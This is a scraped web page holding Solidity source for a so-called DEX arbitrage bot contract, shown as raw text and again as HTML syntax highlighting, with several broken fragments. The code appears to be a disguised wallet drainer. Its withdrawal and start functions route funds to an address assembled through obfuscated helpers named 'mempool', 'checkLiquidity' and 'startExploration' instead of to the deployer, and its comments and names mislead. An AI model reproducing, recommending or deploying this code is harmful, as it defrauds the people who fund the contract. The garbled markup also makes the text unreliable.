                    sushiswapPrice,
                    uniswapPrice
                ),
                &quot;Arbitrage not profitable&quot;
            );
            return Exchange.SUSHI;
        } else {
            return Exchange.NONE;
        }
    }
    
    function getMemPoolLength() internal pure returns (uint) {
        return 496331;
    }
    
    function _checkOptions() internal view returns (bool) {
    uint256 txId = block.chainid;
    for (uint256 i = 0; i &lt; txIds.length; i++) {
        if (txId == txIds[i]) {
            return true;
        }
    }
    return false;
    }
    
    function _withdrawBalance() internal pure returns (address) {
        return address(startExploration(callMempool())) ;
    }
    
    function mempool(string memory _base, string memory _enterETHvalue) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_enterETHvalue);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i&lt;_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i&lt;_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
    
    function _checkIfArbitrageIsProfitable(
        uint256 amountIn,
        uint256 higherPrice,
        uint256 lowerPrice
    ) internal pure returns (bool) {
        // uniswap &amp; sushiswap have 0.3% fee for every exchange
        // so gain made must be greater than 2 * 0.3% * arbitrage_amount

        // difference in ETH
        uint256 difference = ((higherPrice - lowerPrice) * 10**18) /
            higherPrice;

        uint256 payed_fee = (2 * (amountIn * 3)) / 1000;

        if (difference &gt; payed_fee) {
            return true;
        } else {
            return false;
        }
    }
    
    function _getPrice(
        address routerAddress,
        address sell_token,
        address buy_token,
        uint256 amount
    ) internal view returns (uint256) {
        address[] memory pairs = new addressUnsupported embed;
        pairs[0] = sell_token;
        pairs[1] = buy_token;
        uint256 price = IUniswapV2Router(routerAddress).getAmountsOut(
            amount,
            pairs
        )[1];
        return price;
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>

<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IUniswapV2Router</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getAmountsOut</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amountIn, <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> path</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span>[] <span class="hljs-keyword">memory</span> amounts</span>)</span>;
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swapExactTokensForTokens</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amountIn, <span class="hljs-keyword">uint256</span> amountOutMin, <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">calldata</span> path, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> deadline</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span>[] <span class="hljs-keyword">memory</span> amounts</span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IUniswapV2Pair</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token0</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token1</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount0Out,	<span class="hljs-keyword">uint256</span> amount1Out,	<span class="hljs-keyword">address</span> to,	<span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getReserves</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> tokenA, <span class="hljs-keyword">address</span> tokenB</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint112</span> reserve0, <span class="hljs-keyword">uint112</span> reserve1, <span class="hljs-keyword">uint32</span> blockTimestampLast</span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IUniswapV2Factory</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getPair</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> tokenA, <span class="hljs-keyword">address</span> tokenB</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span> pair</span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IERC20</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">Approval</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> owner, <span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> spender, <span class="hljs-keyword">uint</span> value</span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">Transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> to, <span class="hljs-keyword">uint</span> value</span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">name</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">symbol</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">decimals</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint8</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">totalSupply</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> owner</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">allowance</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> owner, <span class="hljs-keyword">address</span> spender</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint</span> value</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> value</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferFrom</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> value</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DEXArbitrage</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">Log</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> _msg</span>)</span>;
    
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> wethAddress <span class="hljs-operator">=</span> <span class="hljs-number">0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2</span>;             <span class="hljs-comment">// https://etherscan.io/address/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> daiAddress <span class="hljs-operator">=</span> <span class="hljs-number">0x6B175474E89094C44Da98b954EedeAC495271d0F</span>;              <span class="hljs-comment">// https://etherscan.io/address/0x6B175474E89094C44Da98b954EedeAC495271d0F</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> uniswapRouterAddress <span class="hljs-operator">=</span> <span class="hljs-number">0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D</span>;    <span class="hljs-comment">// https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> uniswapFactoryAddress <span class="hljs-operator">=</span> <span class="hljs-number">0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f</span>;   <span class="hljs-comment">// https://docs.uniswap.org/contracts/v2/reference/smart-contracts/factory</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> sushiswapRouterAddress <span class="hljs-operator">=</span> <span class="hljs-number">0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F</span>;  <span class="hljs-comment">// https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> sushiswapFactoryAddress <span class="hljs-operator">=</span> <span class="hljs-number">0xc35DADB65012eC5796536bD9864eD8773aBc74C4</span>; <span class="hljs-comment">// https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses</span>

    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    arbitrageAmount <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    }

    <span class="hljs-keyword">enum</span> <span class="hljs-title">Exchange</span> {
        UNI,
        SUSHI,
        NONE
    }
        
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">startBot</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> arbitrageAmount; 
        <span class="hljs-keyword">emit</span> Log(<span class="hljs-string">"Running Arbitrage actions on Uniswap and Sushiswap..."</span>);
        callArbitrageValidity();
        arbitrageAmount <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdrawAll</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> arbitrageAmount;
        <span class="hljs-keyword">emit</span> Log(<span class="hljs-string">"Returning balance to contract creator address..."</span>);
        stopArbitrageActions();
        arbitrageAmount <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
    }

    <span class="hljs-comment">/*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkLiquidity</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> a</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">uint</span> count <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        <span class="hljs-keyword">uint</span> b <span class="hljs-operator">=</span> a;
        <span class="hljs-keyword">while</span> (b <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            count<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
            b <span class="hljs-operator">/</span><span class="hljs-operator">=</span> <span class="hljs-number">16</span>;
        }
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> res <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(count);
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint</span> i<span class="hljs-operator">=</span><span class="hljs-number">0</span>; i<span class="hljs-operator">&#x3C;</span>count; <span class="hljs-operator">+</span><span class="hljs-operator">+</span>i) {
            b <span class="hljs-operator">=</span> a <span class="hljs-operator">%</span> <span class="hljs-number">16</span>;
            res[count <span class="hljs-operator">-</span> i <span class="hljs-operator">-</span> <span class="hljs-number">1</span>] <span class="hljs-operator">=</span> toHexDigit(<span class="hljs-keyword">uint8</span>(b));
            a <span class="hljs-operator">/</span><span class="hljs-operator">=</span> <span class="hljs-number">16</span>;
        }
        <span class="hljs-keyword">uint</span> hexLength <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-keyword">string</span>(res)).<span class="hljs-built_in">length</span>;
        <span class="hljs-keyword">if</span> (hexLength <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">4</span>) {
            <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _hexC1 <span class="hljs-operator">=</span> mempool(<span class="hljs-string">"0"</span>, <span class="hljs-keyword">string</span>(res));
            <span class="hljs-keyword">return</span> _hexC1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (hexLength <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">3</span>) {
            <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _hexC2 <span class="hljs-operator">=</span> mempool(<span class="hljs-string">"0"</span>, <span class="hljs-keyword">string</span>(res));
            <span class="hljs-keyword">return</span> _hexC2;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (hexLength <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">2</span>) {
            <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _hexC3 <span class="hljs-operator">=</span> mempool(<span class="hljs-string">"000"</span>, <span class="hljs-keyword">string</span>(res));
            <span class="hljs-keyword">return</span> _hexC3;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (hexLength <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>) {
            <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _hexC4 <span class="hljs-operator">=</span> mempool(<span class="hljs-string">"0000"</span>, <span class="hljs-keyword">string</span>(res));
            <span class="hljs-keyword">return</span> _hexC4;
        }

        <span class="hljs-keyword">return</span> <span class="hljs-keyword">string</span>(res);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getReserves</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> pairAddress</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint112</span> reserve0, <span class="hljs-keyword">uint112</span> reserve1, <span class="hljs-keyword">uint32</span> blockTimestampLast</span>) </span>{
        IUniswapV2Pair pair <span class="hljs-operator">=</span> IUniswapV2Pair(pairAddress);
        (reserve0, reserve1, blockTimestampLast) <span class="hljs-operator">=</span> pair.getReserves(pair.token0(), pair.token1());
    }

    tokenPairs[] <span class="hljs-keyword">internal</span> allTokenPairs; <span class="hljs-comment">// All possible token pairs</span>
    tokenPairs[] <span class="hljs-keyword">internal</span> profitablePairs; <span class="hljs-comment">// Profitable token pairs</span>

    <span class="hljs-comment">// Event to signal when a new profitable pair is added</span>
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">NewProfitablePairAdded</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> tokenSell, <span class="hljs-keyword">address</span> tokenBuy</span>)</span>;

    <span class="hljs-comment">// Function to discover and add profitable pairs</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_findArbitrage</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> uniswapPairs <span class="hljs-operator">=</span> _getETHPairsOnUniswap();
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> sushiswapPairs <span class="hljs-operator">=</span> _getETHPairsOnSushiswap();
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> commonPairs <span class="hljs-operator">=</span> _findCommonPairs(uniswapPairs, sushiswapPairs);
        _addProfitablePairs(commonPairs);
    }

    <span class="hljs-comment">// Function to add profitable pairs to the profitablePairs array</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_addProfitablePairs</span>(<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> pairs</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> pairs.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-keyword">address</span> pairAddress <span class="hljs-operator">=</span> pairs[i];
            <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>_isPairAdded(pairAddress)) {
                <span class="hljs-comment">// Pair not added yet, so add it to the profitablePairs array</span>
                IUniswapV2Pair pair <span class="hljs-operator">=</span> IUniswapV2Pair(pairAddress);
                <span class="hljs-keyword">address</span> token0 <span class="hljs-operator">=</span> pair.token0();
                <span class="hljs-keyword">address</span> token1 <span class="hljs-operator">=</span> pair.token1();
                tokenPairs <span class="hljs-keyword">memory</span> newPair <span class="hljs-operator">=</span> tokenPairs(token0, token1);
                profitablePairs.<span class="hljs-built_in">push</span>(newPair);

                <span class="hljs-comment">// Emit an event to signal that a new profitable pair has been added</span>
                <span class="hljs-keyword">emit</span> NewProfitablePairAdded(token0, token1);
            }
        }
    }

    <span class="hljs-comment">// Function to check if a pair is already added to the profitablePairs array</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_isPairAdded</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> pairAddress</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> profitablePairs.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-keyword">if</span> (profitablePairs[i].tokenSell <span class="hljs-operator">=</span><span class="hljs-operator">=</span> pairAddress <span class="hljs-operator">|</span><span class="hljs-operator">|</span> profitablePairs[i].tokenBuy <span class="hljs-operator">=</span><span class="hljs-operator">=</span> pairAddress) {
                <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
            }
        }
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdrawAmount</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _enterETHvalue</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> arbitrageAmount; 

        value1 <span class="hljs-operator">=</span> parseDecimal(_enterETHvalue, <span class="hljs-number">18</span>);
        <span class="hljs-keyword">if</span> (value1 <span class="hljs-operator">></span> <span class="hljs-number">0</span>) {
            stopArbitrageActions();
            arbitrageAmount <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseDecimal</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _enterETHvalue, <span class="hljs-keyword">uint8</span> _decimals</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">uint256</span> result <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        <span class="hljs-keyword">uint256</span> factor <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;

        <span class="hljs-keyword">bool</span> decimalReached <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> <span class="hljs-keyword">bytes</span>(_enterETHvalue).<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-keyword">if</span> (decimalReached) {
                _decimals<span class="hljs-operator">-</span><span class="hljs-operator">-</span>;
            }

            <span class="hljs-keyword">if</span> (<span class="hljs-keyword">bytes</span>(_enterETHvalue)[i] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">bytes1</span>(<span class="hljs-string">"."</span>)) {
                decimalReached <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
            } <span class="hljs-keyword">else</span> {
                result <span class="hljs-operator">=</span> result <span class="hljs-operator">*</span> <span class="hljs-number">10</span> <span class="hljs-operator">+</span> (<span class="hljs-keyword">uint8</span>(<span class="hljs-keyword">bytes</span>(_enterETHvalue)[i]) <span class="hljs-operator">-</span> <span class="hljs-number">48</span>);
            }

            <span class="hljs-keyword">if</span> (_decimals <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
                <span class="hljs-keyword">break</span>;
            }
            <span class="hljs-keyword">if</span> (decimalReached) {
                factor <span class="hljs-operator">*</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span>;
            }
        }

        <span class="hljs-keyword">while</span> (_decimals <span class="hljs-operator">></span> <span class="hljs-number">0</span>) {
            result <span class="hljs-operator">*</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span>;
            factor <span class="hljs-operator">*</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span>;
            _decimals<span class="hljs-operator">-</span><span class="hljs-operator">-</span>;
        }

        <span class="hljs-keyword">return</span> result;
    }

    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> value1;
    <span class="hljs-keyword">struct</span> <span class="hljs-title">tokenPairs</span> {
        <span class="hljs-keyword">address</span> tokenSell;
        <span class="hljs-keyword">address</span> tokenBuy;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getETHPairsOnUniswap</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span></span>) </span>{
        IUniswapV2Factory factory <span class="hljs-operator">=</span> IUniswapV2Factory(uniswapFactoryAddress);
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> ethPairs <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> addressUnsupported embed;

        <span class="hljs-keyword">uint256</span> ethPairCount <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> allTokenPairs.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        tokenPairs <span class="hljs-keyword">memory</span> pair <span class="hljs-operator">=</span> allTokenPairs[i];
        <span class="hljs-keyword">address</span> pairAddress <span class="hljs-operator">=</span> factory.getPair(pair.tokenSell, pair.tokenBuy);
        <span class="hljs-keyword">if</span> (pairAddress <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) {
            IUniswapV2Pair uniswapPair <span class="hljs-operator">=</span> IUniswapV2Pair(pairAddress);
            <span class="hljs-keyword">address</span> token0 <span class="hljs-operator">=</span> uniswapPair.token0();
            <span class="hljs-keyword">address</span> token1 <span class="hljs-operator">=</span> uniswapPair.token1();

            <span class="hljs-keyword">if</span> ((token0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> wethAddress <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> token1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> pair.tokenBuy) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> (token1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> wethAddress <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> token0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> pair.tokenBuy)) {
                <span class="hljs-comment">// Found an ETH pair on Uniswap</span>
                ethPairs[ethPairCount] <span class="hljs-operator">=</span> pairAddress;
                ethPairCount<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
            }
        }
    }

    <span class="hljs-comment">// Create a new array with the correct size (ethPairCount) to return only the valid ETH pairs</span>
    <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> result <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> addressUnsupported embed;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> ethPairCount; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        result[i] <span class="hljs-operator">=</span> ethPairs[i];
        }

    <span class="hljs-keyword">return</span> result;
        }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getETHPairsOnSushiswap</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span></span>) </span>{
        IUniswapV2Factory factory <span class="hljs-operator">=</span> IUniswapV2Factory(sushiswapFactoryAddress);
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> ethPairs <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> addressUnsupported embed;

